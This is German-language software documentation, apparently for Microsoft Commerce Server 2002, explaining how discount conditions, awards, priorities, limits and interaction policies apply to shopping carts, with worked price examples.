  • Katalogausdruck wertet jeden Artikel im Benutzerwarenkorb aus. Sie können einen Ausdruck für die Bedingung Kaufen auf der Grundlage des Produktkatalogs erstellen. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt.

Weitere Informationen zu Preisnachlassbedingungen finden Sie unter Preisnachlassbedingungen.

Auszeichnung (Abrufen)

Eine Auszeichnung (Abrufen) bestimmt, was Benutzer erhalten, z. B. einen Preisnachlass in Höhe von 10 % oder Versand ohne Frachtkosten. Diese Auszeichnung umfasst einen Zieltyp, einen Werttyp und einen Katalogausdruck.

  • Der Zieltyp definiert das Auszeichnungsziel. Es gibt drei Typen von Auszeichnungen, die gewährt werden können: Preisnachlässe auf Artikelebene, Preisnachlässe auf Bestellebene und Versand ohne Frachtkosten (Preisnachlass auf Bestellebene).
  • Maximale Auszeichnung gibt die Anzahl der Auszeichnungsartikel an, die der Benutzer bei gewährtem Preisnachlass erhält. Wenn der Warenkorb des Benutzers weniger Artikel enthält, als durch den maximalen Auszeichnungswert vorgegeben ist, erhalten nur die Artikel im Warenkorb die Auszeichnung.
  • Ein Katalogausdruck wendet die Preisnachlassauszeichnung nur an, wenn der Ausdruck "Wahr" ergibt. Der Katalogausdruck für den Preisnachlass wertet jeden Artikel im Benutzerwarenkorb aus. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt.
  • Der Werttyp definiert den Auszeichnungswert. Die Auszeichnungswerte sind in Prozent oder in Währungsbeträgen berechnete Preisnachlässe.

Weitere Informationen zu Preisnachlassauszeichnungen finden Sie unter Preisnachlassauszeichnungen.

Höchstwert

Der Höchstwert bestimmt, wie oft ein Preisnachlass maximal auf den Warenkorb angewendet werden kann. Weitere Informationen zu Höchstwerten von Preisnachlässen finden Sie unter Preisnachlassgrenzen.

Getrennte Preisnachlässe

Getrennte Preisnachlässe werden angewendet, wenn sich die Klauseln Abrufen und Kaufen auf dasselbe Produkt beziehen. Diese Eigenschaft bestimmt, ob der Artikel der Bedingung als Auszeichnung für den Preisnachlass verwendet werden kann. Es wird zwischen den folgenden beiden getrennten Preisnachlässen unterschieden:

  • Angebot nur auf 'Produkt abrufen' anwenden: Eine Möglichkeit für Businessmanager, ein Produkt defensiv zu promoten.
  • Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden: Eine Möglichkeit für Businessmanager, ein Produkt offensiv zu promoten.

Weitere Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.

Klick erforderlich

Bei Klick erforderlich wird der Preisnachlass nur angewendet, wenn der Benutzer tatsächlich auf den Preisnachlass klickt. Weitere Informationen über "Klick erforderlich"-Preisnachlässe finden Sie unter "Klick erforderlich"-Preisnachlässe.

Berechtigungsanforderungen

Berechtigungsanforderungen geben an, wer den Preisnachlass in Anspruch nehmen kann. Berechtigungsanforderungen werden auch als Zielausdrücke bezeichnet. Wenn der Zielausdruck als "Wahr" ausgewertet wird, wird der Preisnachlass angewendet. Weitere Informationen zu Berechtigungsanforderungen finden Sie unter Preisnachlassberechtigungsanforderungen.

Interaktionsrichtlinien für Preisnachlässe

Mit den Interaktionsrichtlinien für Preisnachlässe wird festgelegt, ob auf einen Artikel mehrere Preisnachlässe oder Auszeichnungen angewendet werden können. Commerce Server unterstützt vier verschiedene Interaktionsrichtlinien für Preisnachlässe.

  • Wiederverwendung dieser Preisnachlassbedingungen als Bedingungen für andere Preisnachlässe zulassen
  • Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Bedingungen dieses Preisnachlasses zulassen
  • Wiederverwendung dieser Preisnachlassauszeichnungen als Bedingungen für andere Preisnachlässe zulassen
  • Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Auszeichnungen dieses Preisnachlasses zulassen

Hinweis

  • Diese Eigenschaft ist nur relevant, wenn mehrere Preisnachlässe für den Benutzerwarenkorb in Frage kommen.

Weitere Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Preisnachlassanzeigeziel

Das Preisnachlassziel legt die Zielgruppen für den Preisnachlass fest sowie die Seiten, auf denen ein Preisnachlass angezeigt wird. Weitere Informationen zu Preisnachlassanzeigezielen finden Sie unter Zielgruppenadressierung eines Preisnachlasses an eine Seitengruppe und eine Zielgruppe.

Preisnachlassanzeige

Die Preisnachlassanzeige gibt an, wie oft der Preisnachlass an einen Benutzer übermittelt wird. Sie legt das Bild und/oder den URL fest, auf das bzw. den der Benutzer klicken muss, um den Preisnachlass zu erhalten, und die Preisnachlassinformationen, die bei Kaufabschluss im Warenkorb des Benutzers angezeigt werden.

Ein Preisnachlass kann auch in einer anderen als der in der Site bevorzugten Währung dargestellt werden. Wenn ein Benutzer z. B. Yen als bevorzugte Währung auswählt und als Sitewährung Euro eingestellt ist, wird der Preisnachlass in Euro dargestellt. Wenn der Benutzer durch die Site blättert, wird für alle Produktpreise Yen, für die Preisnachlässe jedoch Euro verwendet.

Hinweis

  • Es wird empfohlen, für Währungsumrechnungen in der Website ein Buchhaltungssystem eines Drittanbieters zu verwenden. Da die Bank des Kunden möglicherweise einen anderen als den im Code der Site gespeicherten Umrechnungskurs anwendet, kann auch der dem Benutzer in Rechnung gestellte Betrag leicht von dem auf der Empfangsseite der Site dargestellten Betrag abweichen, sodass alle in der Site angegebenen Preise folglich als Näherungswerte ("ca.") gekennzeichnet sind. Sobald der Benutzer die Bestellung absendet, wird dieser Bestellung ein ungefährer Gesamtwert in der bevorzugten Währung und in der Buchungswährung der Site zugewiesen.

Weitere Informationen zur Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

Siehe auch

Preisnachlasspriorität

Getrennte Preisnachlässe

Mehrfache Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassgrenzen

"Klick erforderlich"-Preisnachlässe

Preisnachlassberechtigungsanforderungen


Preisnachlasspriorität

Jedem Preisnachlass wird eine Priorität zugeteilt, die bestimmt, wann er im Verhältnis zu anderen für ein Produkt geltenden Preisnachlässen angezeigt werden soll. (Anders als bei Anzeigen werden bei Preisnachlässen keine Gewichtungen verwendet, um die Lieferung zu bestimmen.) Preisnachlässe werden vom niedrigsten zum höchsten numerischen Wert angewendet. So wird ein Preisnachlass mit einer Priorität von 10 beispielsweise vor einem Preisnachlass mit der Priorität 20 angewendet. Das gilt auch dann, wenn die Preisnachlässe für dieselben Auszeichnungsartikel gelten.

Beispiel: Die Getränkeabteilung Ihres Onlinesupermarkts hat im Sommer folgendes Angebot: Beim Kauf einer Kiste Saft gibt es die zweite Kiste zum halben Preis. Der Onlinesupermarkt hat jedoch ein weiteres Angebot, das auf alle Getränkeprodukte einen Preisnachlass von 10 % gibt. Nehmen Sie an, dass Sie den Preisnachlässen Prioritäten wie in folgender Tabelle zuweisen.

Preisnachlass | Priorität
Beim Kauf einer Kiste Saft gibt es auf die zweite Kiste einen Preisnachlass von 50 %. | 10
10 % Preisnachlass auf alle Getränkeprodukte. | 20

Kauft ein Benutzer nun vier Kisten Saft, werden folgende Preisnachlässe wirksam:

  • Kiste 1: Kein Preisnachlass
  • Kiste 2: 50 % Preisnachlass
  • Kiste 3: Kein Preisnachlass
  • Kiste 4: 50 % Preisnachlass, jedoch nur, falls der Preisnachlass "Eine Kiste kaufen, die zweite zum halben Preis" keiner Einschränkung unterliegt. Der Preisnachlass in Höhe von 50 % wird statt des Preisnachlasses in Höhe von 10 % angewendet, da er eine höhere Priorität hat.

Es können mehrere Preisnachlässe miteinander kombiniert werden, wenn sie dieselbe Priorität (z. B. 10) und denselben Preisnachlasstyp (z. B. prozentualer Preisnachlass auf Artikelebene) aufweisen sowie eine Interaktionsrichtlinie festgelegt wurde, die die Wiederverwendung der Auszeichnungen dieses Preisnachlasses auch für andere Preisnachlässe zulässt. Im folgenden Szenario werden beispielsweise zwei Preisnachlässe zu einem 30-prozentigen Preisnachlass kombiniert.

In diesem Beispiel erstellen Sie zwei Preisnachlässe und weisen jedem, wie in der folgenden Tabelle veranschaulicht, eine Priorität von 10 zu.

Preisnachlass | Priorität
Bei Kauf eines Telefons 10 Prozent Preisnachlass für ein Radio. | 10
Bei Kauf eines Videospiels 20 Prozent Preisnachlass für ein Radio. | 10

Die beiden Preisnachlässe werden zu einem 30 %igen Preisnachlass kombiniert, da sie dieselbe Priorität (10) haben und vom selben Typ (prozentuale Preissenkung auf Artikelebene) sind sowie die Richtlinie zur Wiederverwendung der Auszeichnungen dieses Preisnachlasses auch für andere Preisnachlässe gültig ist. Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Benutzerwarenkorb:

Produkt | Preis | Preisnachlass | Angepasster Gesamtpreis
Telefon | 40 |  | 40
Videospiel | 50 |  | 50
Radio | 30 | 9 (30*0,30) | 21
 |  | Gesamtsumme | 111

Prioritäten für Festbetragspreisnachlässe werden auf dieselbe Art und Weise vergeben. Die Preisnachlässe werden kombiniert, wenn die Preisnachlassprioritäten identisch sind.

Hinweis

  • Preisnachlässe werden nach Priorität sortiert. Wenn Preisnachlässe dieselbe Priorität aufweisen, werden sie nach der Interaktionsrichtlinie sortiert (wenn die Richtlinie "Wiederverwendung der Auszeichnungen dieses Preisnachlasses für andere Preisnachlässe zulassen" nicht anwendbar ist, erhält der Preisnachlass eine höhere Priorität). Wenn Preisnachlässe zwar dieselbe Priorität, aber nicht denselben Preisnachlasstyp haben (prozentuale oder absolute Preissenkung), ermittelt die Bestellpreisnachlass-Pipelinekomponente, welcher Preisnachlasstyp zuerst angewendet wird. Informationen zur Bestellpreisnachlass-Pipelinekomponente finden Sie unter How Discounts are Applied Programmatically (englisches Thema).

Siehe auch

Mehrfache Preisnachlässe

Getrennte Preisnachlässe

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe

Sortierreihenfolge für Preisnachlässe


Preisnachlassbedingungen

Eine Preisnachlassbedingung (Kaufen) gibt an, ob dem Benutzer eine Auszeichnung angeboten wird. Die Auszeichnung richtet sich danach, was der Benutzer kauft. Die Bedingung Kaufen muss wahr sein, damit der Preisnachlass angewendet wird. Die Bedingung wird dabei für jeden Artikel im Bestellformular ausgewertet. Dabei kann es sich um einen Ausdruck handeln, der angibt, dass der Preisnachlass für einen bestimmten oder für alle Artikel gilt. Die Bedingung Kaufen umfasst eine Kaufbedingung für einen beliebigen Artikel, einen Bedingungstyp, einen Wert und einen Katalogausdruck.

  • Die Kaufbedingung für einen beliebigen Artikel gibt an, dass der Preisnachlass stets angewendet wird, wenn ein Produkt im Warenkorb ist, auf das ein Preisnachlass anwendbar ist. Beispiel: Bei Kauf eines Produkts erhalten Sie zusätzlich kostenlos einen Gürtel. Die Eigenschaft Kauf eines beliebigen Artikels gibt außerdem an, dass ein Artikel im Warenkorb nicht als eine Bedingung verwendet wird.

    Hinweis

    • Bei leerem Warenkorb gewähren die Preisnachlässe vom Typ "Kauf eines beliebigen Artikels" Anspruch auf eine Auszeichnung. Die Bedingung "Kauf eines beliebigen Artikels" entspricht damit der Bedingung "Kauf eines beliebigen Produkts der Menge Null (0)".

    Ein Beispiel für einen Preisnachlass vom Typ "Kauf eines beliebigen Artikels" finden Sie im Thema "Beispiele für Preisnachlässe" unter Bei Kauf von C gibt es 10 Euro Preisnachlass auf die Gesamtsumme, und bei Kauf eines beliebigen Artikels gibt es B zu einem Preisnachlass von 10 Prozent.

  • Der Bedingungstyp bestimmt den Typ der Bedingung Kaufen. Für einen Preisnachlass gelten zwei Bedingungen vom Typ Kaufen: Menge und Wert. Sie haben die Möglichkeit, Preisnachlässe auf Basis der Bestellmenge oder des Bestellwerts eines Benutzers anzuwenden. So können Sie z. B. einen Preisnachlass erstellen, der angewendet wird, wenn ein Benutzer drei Kisten Saft (Menge) kauft, oder einen Preisnachlass, der gilt, wenn ein Benutzer Saft für 40,00 Euro kauft (Wert).
  • Der Bedingungswert gibt den Währungsbetrag oder die Anzahl von Einheiten der Bedingung an.
  • Der Katalogausdruck ist ein Ausdruck, der auf dem Produktkatalog beruht. Der Katalogausdruck wertet jeden Artikel im Benutzerwarenkorb aus. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt. Im Folgenden werden Beispiele für Katalogausdrücke in der Spalte Bedingung (Kaufen) und Beispiele für Auszeichnungen Auszeichnung (Abrufen) aufgeführt.
    Bedingung (Kaufen) | Auszeichnung (Abrufen)
    1 Paar Jeans | 1 Hemd mit 50 % Preisnachlass
    Zwei beliebige Produkte aus der Kategorie "Digitalkamera" | 1 Film mit 30 % Preisnachlass
    Ein beliebiges Produkt aus der Kategorie "Digitalkamera"
    ODER
    ein Camcorder     		1 Radio mit einem Preisnachlass von 20,00 €.

Informationen über die Erstellung eines Katalogausdrucks finden Sie unter Erstellen eines Katalogausdrucks.

Hinweise

  • Die Anwendung des Preisnachlasses ist nicht garantiert, da nicht bekannt ist, ob die Auszeichnung für den Preisnachlass verfügbar ist.
  • Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.

Siehe auch

Mehrfache Preisnachlässe

Beispiele für Preisnachlässe

Erstellen eines Preisnachlasses

Preisnachlassauszeichnungen


Preisnachlassauszeichnungen

Die Preisnachlassauszeichnung (Abrufen) gibt an, was der Benutzer erhält. Preisnachlassauszeichnungen umfassen einen Zieltyp, eine maximale Auszeichnung, einen Werttyp und einen Katalogausdruck.

  • Der Zieltyp definiert das Auszeichnungsziel. Es gibt drei Typen von Auszeichnungen, die gewährt werden können: Preisnachlässe auf Artikelebene, Preisnachlässe auf Bestellebene und Versand ohne Frachtkosten. Der Frachtpreisnachlass, den Commerce Server 2002 in den Liefereinstellungen unterstützt, ist die Kategorie Ohne Frachtkosten. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.
  • Maximale Auszeichnung gibt die Anzahl der Auszeichnungsartikel an, die der Benutzer bei gewährtem Preisnachlass erhält. Wenn der Warenkorb des Benutzers weniger Artikel enthält, als durch den maximalen Auszeichnungswert vorgegeben ist, erhalten nur die Artikel im Warenkorb die Auszeichnung.
  • Ein Katalogausdruck wendet die Preisnachlassauszeichnung nur an, wenn der Ausdruck "Wahr" ergibt. Der Katalogausdruck basiert auf dem Produktkatalog. Der Katalogausdruck für den Preisnachlass wertet jeden Artikel im Benutzerwarenkorb aus. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt. Zum Beispiel:
    Bedingung (Kaufen) | Auszeichnung (Abrufen) | Angebot
    1 Paar Jeans | 1 Turtleneck-T-Shirt | 50 Prozent Preisnachlass
    Bestellung über mehr als 500 € | 1 beliebige Hose aus der Kategorie "Blue Jeans" | Kostenlos
    1 Camcorder Modell 123 1 Memory-Karte
    ODER
    2 Camcorder-Stative     		40 Prozent Preisnachlass

Weitere Informationen über das Erstellen von Katalogausdrücken finden Sie unter Erstellen eines Katalogausdrucks.

  • Der Werttyp definiert den Auszeichnungswert. Die Auszeichnungswerte sind in Prozent oder in Währungsbeträgen gerechnete Preisnachlässe.

    Hinweis

    • Sie können zwar Preisnachlässe von 0 Euro erstellen, diese werden in Commerce Server 2002 nicht unterstützt.

Hinweis

  • Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.

Es gibt mehrere Möglichkeiten, den Benutzern Preisnachlässe zu gewähren. Commerce Server unterstützt drei Arten von Auszeichnungen:

  • Preisnachlässe auf Artikelebenen gelten für bestimmte Produkte in einem Warenkorb. Sie können mehrere Preisnachlässe auf einen einzelnen Artikel oder eine einzelne Bestellung anwenden.
  • Preisnachlässe auf Bestellebene gelten für alle Produkte in einem Warenkorb.
  • Versandpreisnachlässe beziehen sich auf Versandkosten, die Benutzer bezahlen müssen, damit die von ihnen bestellten Artikel an ihre Adresse geliefert werden. Als Frachtpreisnachlass unterstützt Commerce Server 2002 nur die Kategorie Ohne Frachtkosten. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.

Im folgenden Abschnitt werden die verfügbaren Preisnachlassauszeichnungen beschrieben:

Preisnachlass für die Zwischensumme der Bestellung

Ohne Frachtkosten

Preisnachlass für die Zwischensumme der Bestellung

Dieser Preisnachlasstyp bezieht sich auf Preisnachlässe, die auf die Zwischensumme der Bestellung angewendet werden. Ein Preisnachlass auf die Zwischensumme einer Bestellung ist ein Preisnachlass auf Bestellebene, der auf alle Produkte im Warenkorb angewendet wird. So ist z. B. die Frachtkostenbefreiung eine Art von Preisnachlass auf Bestellebene: Benutzer brauchen bei diesem Preisnachlass für die Produkte in ihrem Warenkorb keine Frachtkosten zu bezahlen. Die Preisnachlässe auf Bestellebene bestehen bei Commerce Server in der Befreiung von den Frachtkosten und in einem in Prozent oder als absoluter Währungsbetrag angegebenen Nachlass auf den Gesamtpreis. Sie können auf Bestellebene nicht gleichzeitig mehrere Preisnachlässe gewähren. Preisnachlässe auf Bestellebene haben implizit ein Limit von 1.

Für eine korrekte Abwicklung von Reklamationen ziehen es Kampagnenmanager vor, Preisnachlässe auf Bestellebene auf die Einzelposten zu verteilen. Commerce Server 2002 verteilt Preisnachlässe in Prozent oder in absoluten Währungsbeträgen. Informationen zum Verteilen von Preisnachlässen auf Bestellebene finden Sie unter Verteilen von Preisnachlässen auf Bestellebene.

Hinweis

  • Wenn auf einen bestimmten Artikel kein Preisnachlass auf Bestellebene mehr gewährt werden soll (z. B. auf einen Artikel mit hoher Nachfrage), können Sie diese Festlegung in der Komponente "OrderLevelDiscountApply" unter "Laufwerk:\Programme\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\OrderLevelDiscountComponents" ändern. In dieser Komponente kann der Name eines Schlüssels angegeben werden, der festlegt, ob einem Artikel ein Angebot zugewiesen werden kann.

    Dieses Feature ist nicht bei Preisnachlässen auf Artikelebene anwendbar, kann jedoch in einer benutzerdefinierten Konfiguration hinzugefügt werden.

Ohne Frachtkosten

Die Eigenschaft Ohne Frachtkosten bezieht sich auf die frachtkostenfreie Auslieferung als Preisnachlass auf alle bestellten Produkte. Versandpreisnachlässe werden auf die Gesamtsumme einer Bestellung angewendet und können insofern mit Preisnachlässen auf Bestellebene verglichen werden. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.

Mehrere Lieferadressen

Commerce Server 2002 unterstützt mehrere Lieferadressen. So kann ein Benutzer beispielsweise eine bestimmte Anzahl von Artikeln kaufen und sie an unterschiedliche Adressen liefern lassen.

Interaktionsrichtlinien für Versandpreisnachlässe

Das folgende Beispiel zeigt, wie Interaktionsrichtlinien von Versandpreisnachlässen und Preisnachlässen auf Bestellebene miteinander verbunden sind. Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Preisnachlass | Bedingung (Kaufen) | Auszeichnung (Abrufen) | Priorität
Preisnachlass 1 | Bestellzwischensumme von mehr als 300 € | Preisnachlass auf Bestellebene in Höhe von 20 € | 10
Preisnachlass 2 | Kauf eines Camcorders | Ohne Frachtkosten | 20

Im Warenkorb sind folgende Produkte enthalten:

Artikel | Menge | Einzelpreis | Erweiterter Preis
Camcorder | 1 | 200,00 | 200,00
Digitalkamera | 1 | 300,00 | 500,00
Gesamtsumme |  |  | 700,00

Der Preisnachlass 1 wird zuerst angewendet, da ihm die Priorität 10 zugewiesen ist. Da es sich beim Versandpreisnachlass um einen Preisnachlass auf die Gesamtsumme handelt, sind der Versandpreisnachlass und der Preisnachlass auf Bestellebene über Commerce Server-interne Interaktionsrichtlinien miteinander verknüpft. Deshalb werden durch Preisnachlass 1 alle weiteren Auszeichnungen gesperrt, sodass Preisnachlass 2 nicht zur Anwendung kommt.

Siehe auch

Mehrfache Preisnachlässe

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe

Preisnachlassbedingungen


Preisnachlassgrenzen

Sie haben die Möglichkeit, die Anzahl der Preisnachlässe zu begrenzen, die auf einen Warenkorb angewendet werden können. Wenn die Preisnachlassgrenze den Wert Null (0) aufweist, unterliegen die Preisnachlässe keiner Beschränkung. Der Preisnachlass kann mehrmals angewendet werden, wenn die Bedingung für den Preisnachlass im Warenkorb mehrfach zutrifft. Die Preisnachlassgrenze ist auf den Warenkorb begrenzt und gilt nicht für mehrere Warenkörbe. Wenn ein Benutzer z. B. eine Bestellung abschließt, die Site dann erneut besucht und dieselben Artikel kauft, erhält er erneut denselben Preisnachlass.

Siehe auch

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe


Getrennte Preisnachlässe

Getrennte Preisnachlässe werden angewendet, wenn sich die Klauseln Abrufen und Kaufen auf dasselbe Produkt beziehen. Diese Eigenschaft bestimmt, ob der Artikel der Bedingung als Auszeichnung für den Preisnachlass verwendet werden kann. Es wird zwischen den folgenden beiden getrennten Preisnachlässen unterschieden:

  • Angebot nur auf 'Produkt abrufen' anwenden: Die Kaufbedingung kann nicht als Auszeichnung wiederverwendet werden. Eine Möglichkeit für Businessmanager, ein Produkt defensiv zu promoten.
  • Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden: Die Kaufbedingung kann als Auszeichnung wiederverwendet werden. Eine Möglichkeit für Businessmanager, ein Produkt offensiv zu promoten.

Abhängig vom ausgewählten getrennten Preisnachlass können durch den folgenden Preisnachlass unterschiedliche Ergebnisse hervorgerufen werden. Die Ergebnisse werden für jeden getrennten Preisnachlass angezeigt:

  • Bedingung: Kauf von 2 Unisex-Hemden
  • Auszeichnung: 1 Unisex-Hemd mit 40 % Preisnachlass
  • Getrennter Preisnachlass: Angebot nur auf 'Produkt abrufen' anwenden

Der folgende Warenkorb zeigt einen Preisnachlass von 40 Prozent für das dritte Unisex-Hemd im Warenkorb. Da die getrennte Preisnachlasseigenschaft Angebot nur auf 'Produkt abrufen' anwenden ausgewählt ist, können die Bedingungen des Preisnachlasses nicht als Auszeichnung wiederverwendet werden. Das erste und zweite Hemd wurden als Bedingung verwendet. Der 40-prozentige Preisnachlass wird auf das dritte Hemd angewendet. Für das vierte Hemd sind keine Bedingungen oder Auszeichnungen vorhanden.

  • Bedingung: Kauf von 2 Unisex-Hemden
  • Auszeichnung: 1 Unisex-Hemd mit 40 % Preisnachlass
  • Getrennter Preisnachlass: Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden

Der folgende Warenkorb zeigt einen Preisnachlass von 40 Prozent für das zweite und vierte Unisex-Hemd im Warenkorb. Da die getrennte Preisnachlasseigenschaft Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden ausgewählt ist, wurden die Bedingungen des Preisnachlasses als Auszeichnung wiederverwendet. Das erste und das zweite Unisex-Hemd im Warenkorb wurden als Bedingung verwendet. Der 40-prozentige Preisnachlass wird auf das zweite Hemd gewährt. Das dritte und das vierte Hemd im Warenkorb wurden wiederum als Bedingung für den 40-prozentigen Preisnachlass auf das vierte Hemd verwendet.

Siehe auch

Mehrfache Preisnachlässe

Sortierreihenfolge für Preisnachlässe

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe


"Klick erforderlich"-Preisnachlässe

Bei "Klick erforderlich"-Preisnachlässen wird der Preisnachlass nur angewendet, wenn der Benutzer auf den Preisnachlass klickt. Wenn die Eigenschaft für "Klick erforderlich"-Preisnachlässe auf "Wahr" gesetzt ist, kann der Benutzer einen bestimmten Preisnachlass erst in Anspruch nehmen, nachdem er auf die mit dem Preisnachlass verbundene Anzeige geklickt hat. Über diese Eigenschaft sind die Anzeigen- und Mechandising-Features in Ihrem Unternehmen miteinander verknüpft.

Hinweis

  • Siteentwickler können diesen Preisnachlasstyp für andere Zwecke erweitern. So können sie den Benutzern z. B. Coupons anbieten, die Voraussetzung sind, um den Preisnachlass zu erhalten. Informationen zu den Coupons finden Sie unter Coupons.

Siehe auch

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe


Preisnachlassberechtigungsanforderungen

Preisnachlassberechtigungsanforderungen geben an, wer einen Preisnachlass in Anspruch nehmen kann. Berechtigungsanforderungen werden als Zielausdrücke formuliert. Wenn der Zielausdruck als "Wahr" ausgewertet wird, wird der Preisnachlass angewendet. Wenn beispielsweise Lieblingssport = Bergsteigen gilt, wird der Preisnachlass angewendet.

Berechtigungsanforderungen werden mithilfe von Kontexteigenschaften wie Benutzerobjekt, Zielgruppenadressierungs-Kontext und Bewertungsspezifikationen (aktuelles Datum, aktuelle Uhrzeit) erstellt. Beim Erstellen eines Zielausdrucks können Sie die Zielgruppe festlegen, denen der Preisnachlass gewährt wird. So können Sie z. B. den Musikliebhabern unter Ihren Kunden einen 20-prozentigen Preisnachlass auf eine Jazz-CD gewähren. Informationen über das Erstellen eines Zielausdrucks finden Sie unter Erstellen eines Zielausdrucks.

Sie können auch anhand von Zielgruppen die anspruchsberechtigten Benutzer für einen Preisnachlass festlegen. Informationen über das Erstellen von Zielgruppen finden Sie unter Erstellen einer Zielgruppe.

Siehe auch

Erstellen eines Zielausdrucks

Ausdrucksbasierte Zielgruppenadressierung

Erstellen einer Zielgruppe

Erstellen eines Preisnachlasses

Beispiele für Preisnachlässe


Mehrfache Preisnachlässe

Mit den Interaktionsrichtlinien für Preisnachlässe wird festgelegt, ob auf einen Artikel mehrere Preisnachlässe oder mehrere Auszeichnungen angewendet werden können. Commerce Server 2002 unterstützt vier verschiedene Interaktionsrichtlinien für Preisnachlässe.

  • Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen eines anderen Preisnachlasses. Weist Commerce Server 2002 an, dass die für ein bestimmtes Angebot verwendeten Preisnachlassbedingungen für ein anderes Angebot wiederverwendet werden können.
  • Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen einer Auszeichnung. Weist Commerce Server 2002 an, dass für einen Artikel, der als Bedingung für einen Preisnachlass verwendet wurde, ein weiteres Angebot erstellt werden kann.
  • Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen eines Preisnachlasses. Weist Commerce Server 2002 an, dass ein Artikel, auf dessen Grundlage eine Auszeichnung gewährt wurde, für weitere Angebote verwendet werden kann.
  • Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen einer anderen Auszeichnung: Weist Commerce Server 2002 an, dass ein Artikel, auf dessen Grundlage eine Auszeichnung gewährt wurde, Gegenstand weiterer Angebote sein kann (beispielsweise kann ein Artikel mehrere Auszeichnungen erhalten).

Die vier Interaktionsrichtlinien für Preisnachlässe können alle gleichzeitig ausgewählt werden. Durch die Kombination dieser Richtlinien können Sie genau steuern, wie Preisnachlässe angewendet werden. Die Auswirkungen der einzelnen Richtlinien werden in den folgenden Beispielen näher beschrieben.

Mögliche Verwendung der Bedingungen eines Preisnachlasses als Bedingungen für andere Preisnachlässe

Mögliche Verwendung der Bedingungen eines Preisnachlasses als Bedingungen für eine Auszeichnung

Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen eines Preisnachlasses

Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen einer anderen Auszeichnung

Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen eines anderen Preisnachlasses

Mithilfe dieser Interaktionsrichtlinie können Sie festlegen, dass mit einem Artikel im Warenkorb mehrere Bedingungen erfüllt werden.

Im folgenden Beispiel sind die Hosen Bestandteil der Bedingung für Preisnachlass 1 und Preisnachlass 2. Da die Richtlinien Wiederverwendung dieser Preisnachlassbedingungen als Bedingungen für andere Preisnachlässe zulassen festgelegt ist, können die Hosen als Bedingung für beide Preisnachlässe verwendet werden.

Preisnachlass 1

Bedingungsartikel | Auszeichnungs- artikel | Preisnachlassgrenze | Angebot | Priorität
1 Paar Hosen | 1 Gürtel | 1 | 50 Prozent Preisnachlass | 10

Preisnachlass 2

Bedingungsartikel | Auszeichnungs- artikel | Preisnachlassgrenze | Angebot | Priorität
2 Paar Hosen | 1 Hemd | 1 | 50 Prozent Preisnachlass | 20

Nachstehend ein Beispiel für den Benutzerwarenkorb:

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Paar Hosen | 50,00 | 0,00 | 50,00
Zweites Paar Hosen | 50,00 | 0,00 | 50,00
Erstes Hemd | 30,00 | 15,00 | 15,00
Zweites Hemd | 30,00 | 0,00 | 30,00
Gürtel | 10,00 | 5,00 | 5,00
GESAMTSUMME | 170,00 | 20,00 | 150,00

Das erste Paar Hosen wird als Bedingung für den 50-prozentigen Preisnachlass auf den Gürtel verwendet. Zusammen mit dem zweiten Paar Hosen wird das erste Paar Hosen außerdem als Bedingung für den 50-prozentigen Preisnachlass auf das Hemd verwendet. Aus diesem Grund galt das erste Paar Hosen als Bedingung für beide Preisnachlässe. Da die Preisnachlassgrenze im Preisnachlass 1 gleich 1 ist, kann auf das zweite Hemd kein Preisnachlass gewährt werden.

Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen einer Auszeichnung

Mithilfe dieser Interaktionsrichtlinie können Sie festlegen, dass ein Artikel im Warenkorb zunächst als Bedingung für eine Auszeichnung und dann als Bedingung für eine weitere Auszeichnung verwendet wird.

